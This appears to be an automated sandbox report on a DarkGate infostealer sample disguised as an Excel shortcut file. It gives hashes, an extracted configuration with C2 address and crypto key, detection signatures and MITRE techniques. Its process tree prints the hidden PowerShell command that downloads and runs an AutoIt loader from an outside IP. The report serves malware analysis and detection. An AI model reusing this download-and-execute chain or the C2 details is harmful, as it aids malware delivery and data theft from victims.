darkgate | 06cc011f34188a2156c18c1307fd625ac9a2ed916a4c7e01b40513a826bd24d0

General

Target

October-FTDs.xlsx.lnk
Size

1KB
MD5

f0a7c9b3858cfda3f16de7fa7a7958a8
SHA1

8777be6f9c0806cbd82cdac30a38403ebe2187de
SHA256

06cc011f34188a2156c18c1307fd625ac9a2ed916a4c7e01b40513a826bd24d0
SHA512

6258cd5da428864b0af3f96d1fce28a1efa04cf4d309bf65744e4c205b95a932ef69778b0fe61939c8d9736271b33c375f18e36785dc2e2888316248b723157d

Score

10^/10

darkgate civilian1111 stealer

Malware Config

Extracted

Family

darkgate

Botnet

civilian1111

C2

http://185.130.226.220

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
vsAuhYDgOqBrvG
internal_mutex
txtMut
minimum_disk
100
minimum_ram
4096
ping_interval
5
rootkit
true
startup_persistence
true
username
civilian1111

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	5000	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2216	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5000	powershell.exe
5000	powershell.exe
5000	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5000	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 5000	748	cmd.exe	72
PID 748 wrote to memory of 5000	748	cmd.exe	72
PID 5000 wrote to memory of 2216	5000	powershell.exe	73
PID 5000 wrote to memory of 2216	5000	powershell.exe	73
PID 5000 wrote to memory of 2216	5000	powershell.exe	73

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\October-FTDs.xlsx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "&{ Invoke-WebRequest -Uri "http:/\194.26.192.233/AutoIt3.exe" -OutFile "C:\Users\Public\AutoIt3.exe"; Invoke-WebRequest -Uri "http:/\194.26.192.233/bone.au3" -OutFile "C:\Users\Public\bone.au3"; Invoke-WebRequest -Uri "http://194.26.192.233/document.xlsx" -OutFile "C:\Users\Public\Documents\document.xlsx"; "C:\Users\Public\AutoIt3.exe C:\Users\Public\bone.au3"; C:\Users\Public\Documents\document.xlsx }"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Users\Public\AutoIt3.exe
    "C:\Users\Public\AutoIt3.exe" C:\Users\Public\bone.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:2216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1pdf3gcs.qff.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Public\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\Users\Public\bone.au3

Filesize
489KB

MD5
df26679034f7cb5a69fd065e54dc5fc0

SHA1
4a7a998ac1f903378f446d902f1be05c23772965

SHA256
7f0624141092f91ca74a6bf5c51408b445224ed6e504329acb04fee609a897cd

SHA512
81f41adf9bd72fe51ae8c3f4914c30d4533594afb1f11438d389319fa94a9fac691cd718c2cb1ab75cc2d877805a8c899af6d0dd5ad1b2634c2fd7fc5ad326eb

Download Submit
memory/2216-66-0x00000000013F0000-0x00000000017F0000-memory.dmp

Filesize
4.0MB

Download
memory/2216-68-0x0000000003FC0000-0x00000000042EA000-memory.dmp

Filesize
3.2MB

Download
memory/5000-9-0x000001F517930000-0x000001F517940000-memory.dmp

Filesize
64KB

Download
memory/5000-27-0x000001F517930000-0x000001F517940000-memory.dmp

Filesize
64KB

Download
memory/5000-41-0x000001F5308F0000-0x000001F531096000-memory.dmp

Filesize
7.6MB

Download
memory/5000-51-0x000001F517930000-0x000001F517940000-memory.dmp

Filesize
64KB

Download
memory/5000-12-0x000001F52FF90000-0x000001F530006000-memory.dmp

Filesize
472KB

Download
memory/5000-6-0x000001F52FA80000-0x000001F52FAA2000-memory.dmp

Filesize
136KB

Download
memory/5000-8-0x000001F517930000-0x000001F517940000-memory.dmp

Filesize
64KB

Download
memory/5000-7-0x00007FF857220000-0x00007FF857C0C000-memory.dmp

Filesize
9.9MB

Download
memory/5000-69-0x00007FF857220000-0x00007FF857C0C000-memory.dmp

Filesize
9.9MB

Download

Analysis

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